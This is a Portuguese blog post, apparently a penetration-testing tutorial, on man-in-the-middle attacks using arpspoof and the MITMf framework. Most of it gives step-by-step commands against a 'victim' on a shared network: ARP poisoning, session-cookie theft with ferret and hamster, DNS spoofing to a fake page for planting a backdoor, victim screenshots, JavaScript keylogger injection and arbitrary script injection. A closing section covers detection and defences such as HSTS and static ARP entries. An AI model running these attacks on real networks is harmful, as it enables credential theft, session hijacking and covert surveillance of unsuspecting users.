Man-in-the-Middle e MITMf - DNS Spoofing e suas defesas
Esse teste "envenena" a Tabela ARP da vitima, fazendo com que a máquina atacante, nossa, se passe pelo roteador, fazendo com que consigamos interceptar o tráfego e ter acesso a dados sigilosos trocados entre os dois atores.
A exploração do ARP Poisoning é o método mais rápido de se estabelecer no meio da comunicação entre duas máquinas e interceptar as informações enviadas entre ambas, fazendo com que possua acesso a dados confidenciais, senhas e relatórios de tráfego. Esse método se aplica somente em redes Ethernet ou seja, esse tipo de comunicação pode ser resumido em redes internas, sejam elas empresariais, residenciais ou até mesmo aquele wifi livre na praça de alimentação do Shopping ou do café que você gosta de frequentar.
Esse é um acesso de uma rede normal
Quando um Hacker faz o ARP Spoofing
E a consequência do MITM é
Traremos dois modos de fazer o ataque men in the middle
MODO 1 - ARP Poisoning arpspoof
Arpspoof é uma ferramenta parte da suíte chamada dsniff, no qual contem um numero de ferramenta para testes de penetração. Arpspoof pode ser usado para lançar um ataque MITM e redirecionar o tráfico fluindo para nosso aparelho ou captador.
Funciona em Android e outros celulares
verificar nossa ip através de ipconfig:
verificar no windows através de arp -a
1. Diz ao alvo que eu sou o router.
arpspoof -i [interface] -t [Target IP] [AccesPoint IP]
Ex: arpspoof -i wlan0 -t 192.168.1.5 192.168.1.1
2. Diz ao AP que eu sou o alvo cliente.
arpspoof -i [interface] -t [AP IP] [Target IP]
Ex: arpspoof -i wlan0 -t 192.168.1.1 192.168.1.5
3. Habilita a emissão de IP para fluir para nosso aparelho sem ser desconectado.
Echo 1 > /proc/sys/net/ipv4/ip_forward
MODO 2 MITMF
O MITMf (Man-In-The-Middle Framework) é uma ferramenta de ataque do Man-In-The-Middle que visa fornecer uma unica ferramenta para ataques de Man-In-The-Middle (MiTM) e de rede enquanto atualiza e melhora os ataques e técnicas existentes.
Originalmente construído para resolver as deficiências significativas de outras ferramentas (por exemplo, Ettercap, Mallory), foi quase completamente reescrito a partir do zero para fornecer uma estrutura modular e facilmente extensível que qualquer um pode usar para implementar seu próprio ataque MITM.
Features of MiTMf Man-In-The-Middle Attack Tool
The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), allowing users to modify any type of traffic or protocol.
The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack.
MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using Net-Creds, which is run on startup.
Responder integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support.
Available Plugins for MiTMf Man-In-The-Midde Attack Software
- HTA Drive-By : Injects a fake update notification and prompts clients to download an HTA application
- SMBTrap : Exploits the ‘SMB Trap’ vulnerability on connected clients
- ScreenShotter : Uses HTML5 Canvas to render an accurate screenshot of a clients browser
- Responder : LLMNR, NBT-NS, WPAD and MDNS poisoner
- SSLstrip+ : Partially bypass HSTS
- Spoof : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
- BeEFAutorun : Autoruns BeEF modules based on a client’s OS or browser type
- AppCachePoison : Performs HTML5 App-Cache poisoning attacks
- Ferret-NG : Transperently hijacks client sessions
- BrowserProfiler : Attempts to enumerate all browser plugins of connected clients
- FilePwn : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
- Inject : Inject arbitrary content into HTML content
- BrowserSniper : Performs drive-by attacks on clients with out-of-date browser plugins
- JSkeylogger : Injects a Javascript keylogger into a client’s webpages
- Replace : Replace arbitrary content in HTML content
- SMBAuth : Evoke SMB challenge-response authentication attempts
- Upsidedownternet : Flips images 180 degrees
Como fazer o ataque MITMF:
Primeiro passo, estar na mesma network que a vitima
mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0
- o IP do router normalmente é .1 da mesma subnet. Para saber deve colocar o comando route -n
- e não colocar o target ele coloca toda a subnet
- ele faz sniffing automaticamente para captar os dados
- Já ativa o SSLstrip que faz downgrade de Https para Http mudando a porta 443 para porta 80
- (os browser ja tem uma proteção para isso e dirão que há uma porta suspeita)
Sites como o google e facebook tem proteção SSH que protegem contra esse tipo de ataque
MODO 3 para fazer o MITM - Ettercap veja aqui
O que podemos fazer sendo o Men in the middle
Roubando o Biscoito (ou Bolacha:)) - Cookie Hijacking
E se o usuário usar o “Lembre-me”? Quando o usuário usar a opção de autenticação preferindo escolher por logar pelos cookies e não pelo usuário – senha. Então, ao invés de sniffing a senha, nós podemos sniff o cookies e injetar neles no nosso navegador, isto permite-nos logar sem usar senha.
instala o ferret com o comando
> apt-get install ferret-sidejack
depois faz o ataque mitmf
>mitmf --arp --spoof --gateway (ip do gateway, normalmente mesma subnet com final .1) --target (ip do target) -i eth0
divide a tela em três
ferret -i eth0
vai capturar todo o cookie que for efetivado
do outro lado utilizar o comando
>hamster
Quando a vitima acessar algum site com a opção lembre-me e entrar um cookie em alguma pagina que já está com o login efetivado o Hamster vai mostrar um endereço que neste caso é 127.0.0.1:1234
deve copiar esse endereço e ir no kali
Firefox - preferences - advanced - Network - settings - manual proxy configuration
e colocar a porta aberta que nesse caso é 1234
ok
depois colocar o ip no endereço e vai aparecer a interface do Hamster
Selecionar o adapter e colocar a interface e Submit Query
Vemos que temos dois Targets
O Ip de baixo é da maquina da vitima, clicando nele veremos todos os cookies ao lado esquerdo, agora só devemos procurar o cookie que tem a senha do site e entrar nela.
Procuramos a que queremos, neste caso o dailymotion, botão direito e abrir em nova guia
E voilá, você estará conectado com o cookie da vitima sem precisa do user-name e password.
O ferret não funciona com sites que usam a tecnologia HSTS como o facebook e google por exemplo
Redirecionar paginas - DNS spoofing
Permite-nos redirecionar qualquer request/requerimento para um certo domínio para outro domínio, exemplo nós redirecionamos qualquer requerimento para facebook.com para um falso facebook que seria o IP de nosso kali
Dessa forma podemos instalar um backdoor na vitima
Deve fazer o kali como um server
Com o comando
> service apache2 start
O html da pagina falsa estará no kali no diretório
Devemos ir no file manager e digitar
var/www/html/index.html
Entrará em uma pagina que terá index.html
Essa é a pagina que a vitima será encaminhada
Há varios modelos prontos de sites para colocar, porém deve tomar cuidado com essas paginas prontas da internet.
fazer o comando no terminal
> leafpad /etc/mitmf/mitmf.conf
vai abrir uma pagina e deve ir até o fim e verá os subdomains de qualquer site
Veremos que o *.live.com será redirecionado ao IP 10.20.14.203 que é o nosso próprio IP, no qual podemos configurar para qualquer domínio da internet em qualquer companhia de HOST
Você pode colocar somente * para spoof todos os sites
faz o ataque de mitmf acrescentando --dns no final
mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0 --dns
terá uma informação que DNS spoofing enabled e ARP spoofing enabled
Já estará funcionando e você poderá instalar através desse site qualquer coisa, ou colocar uma pagina fácil para pegar informações do alvo.
O spoofing de DNS não funcionará contra o Facebook porque ele usa o HSTS, e o motivo que não funciona contra sites da HSTS é porque os navegadores modernos vêm com uma lista de sites que só podem navegar como HTTPS e desde que você é redirecionando o destino para seu host local que não usa HSTS, o navegador simplesmente se recusará a carregar o site.
MITMF plug-ins
Outra Feature legal que o MITMF tem é os plug-ins
Podemos ver todos os plug-ins digitando:
> mitmf --help
Capturando a tela da vitima
Você pode mudar o intervalo das capturas de tela e se não digitar o comando interval será o default de 10 segundos
--screen
--interval (seconds) (se não colocar interval vai ser padrão de 10 em 10 segundos)
mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0 --screen --interval
As fotos ficam no diretório do kali var/log/mitmf
Veremos todas as screenshots da vítima
Capturando o teclado da vitima
Capturando o teclado:
Mesmo que já podemos ver os logins e passwords com o MITMF podemos ver tudo o que a vitima digita através do comando java script keylogger
--jskeylogger (detectar o que escrever)
mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0 --jskeylogger
Se a vitima entrar em qualquer site e digitar veremos tudo:
Dessa forma teremos muita informação, o que dificulta bastante a analise posterior.
Injetando Código
Os navegadores podem ler código HTML e códigos Java Script
Primeiramente vamos rodar MITMf e o solicitar help
> mitmf --help
Teremos essas opções:
Começaremos injetando um código bem simples pelo terminal, ele só irá disparar um alerta.
> mitmf --arp --spoof --gateway (ip do router) --targets (ip do target) -i eth0 --inject --js-payload “alert(‘test’)”;”
Quando a vitima entrar no site o código será injetado.
Quando a vitima entra no site o código será injetado.
Voce poderá procurar vários códigos para keylogger e etc...
Muitas vezes o código pode ser bem grande por isso é mais fácil colocar o código em um arquivo e no arquivo injetar o código.
Para isso vamos abrir nosso leafpad
>leafpad
E escrever o mesmo código de antes
Depois salvamos no Root com o nome de alert.js
Depois colocamos no código com --inject --js-file e o caminho para o arquivo
> mitmf --arp --spoof --gateway (ip do router) --targets (ip do target) -i eth0 --inject --js-file /root/alert.js
E quando a vitima entrar no próximo site o código será injetado
Esses códigos foram bem simples, mas poderá ser utilizado com qualquer outro.
Erros:
O MITMf não funciona com a ultima versão do Twisted, a solução é:
1. remove the current installed version:
pip uninstall Twisted
If that command gave you errors, then remove it manually using this command:
rm -rf /usr/lib/python2.7/dist-packages/twisted
2. Install a compatible version:
pip install Twisted==15.5.0
Se previnir e detectar uma invasão:
- programa que detecta ataque de ARP poison:
- Wireshark:
preferencias - protocol - arp/Rarp - detect arp request
quando a vitima estiver sobre MITMF pode ir no wireshark em:
Analyse - expert information - vai ter um Warm dizendo IP duplicated
Defesas
Manter seu MAC em Static e não Dynamic nas configurações do router e para empresa grande é difícil pois precisa configurar sempre
Existem diferentes maneiras de defender-se dos ataques MITM, mas a maioria delas deve ser instalada nos routers/servidores e não são 100% seguras. Existe também a técnica que aplica uma criptografia complicada entre o cliente e o servidor. Neste caso o servidor pode identificar-se apresentando um certificado digital para que o cliente possa estabeleça uma conexão criptográfica e envie informação delicada através da mesma. Mas esta possibilidade de defesa depende de que ambos servidores tenham tal criptografia habilitada. Por outro lado, usuários podem proteger-se de ataques MITM evitando conectar-se a WiFi livres ou instalando plug ins como HTTPS Everywhere or ForceTLS em seu navegador, tais programas selecionarão apenas conexões seguras, sempre que estas estejam disponíveis. De todas as maneiras, todas esratégias de defesa possuem limitações e há provas de que vírus como SSLStrip ou SSLSniff podem driblar a segurança de conexões SSL.
HSTS: contando ao navegador que a conexão deve ser segura
Normalmente, o atacante utiliza uma conexão convencional, então seu navegador não identifica nada de errado — os browsers normalmente notificam o usuário quando identificam alguma ameaça de segurança, mas a ação nesse caso é interpretada como legal e você cai na armadilha sem perceber.
Se o site utilizasse o método HSTS, abreviação para HTTP Strict Transport Security, o servidor informaria ao navegador que a conexão entre ambos só pode ser feita de forma segura. Assim, no início do processo, o browser faria a ligação com o site do banco, receberia as informações e emitiria uma notificação de que a conexão não é segura e, portanto, não pode ser completada, evitando a interceptação dos seus dados.
A ideia parece simples e genial, afinal você não precisa fazer nada: o navegador trabalha em conjunto com a página para evitar ações mal intencionadas. Entretanto, apenas Firefox, Chrome e Opera têm suporte para HSTS — o Internet Explorer, navegador mais usado no mundo, não trabalha com esse tipo de recurso.
Informação e cuidado
A Electronict Frontier Foundation (EFF), organização sem fins lucrativos que defende as liberdades civis na internet, aponta que um dos principais motivos para a ausência do recurso em um maior número de sites é o desconhecimento dos programadores.
Para combater esse o desconhecimento, as equipes de desenvolvimento por trás dos navegadores da Mozilla e da Google oferecem informação: ambas mantêm páginas com instruções sobre como um programador deve proceder para ativar a HSTS em sua página (aqui e aqui). Já a EFF conta inclusive com uma extensão “HTTPS everywhere” para Firefox, Chrome, Opera e Android, que força a conexão segura sempre que ela é possível e ajuda a proteger o usuário.
Entretanto, como muita gente ainda utiliza o Internet Explorer e também como muitos sites ainda não trabalham com a tecnologia HSTS, a maior ferramenta para evitar cair em uma armadilha dessas é ficar atento. Inspecione bem as páginas que visita quando acessa a web a partir de uma rede aberta, pois por mais improváveis que possam parecer, as ameaças existem.
Comentários
Postar um comentário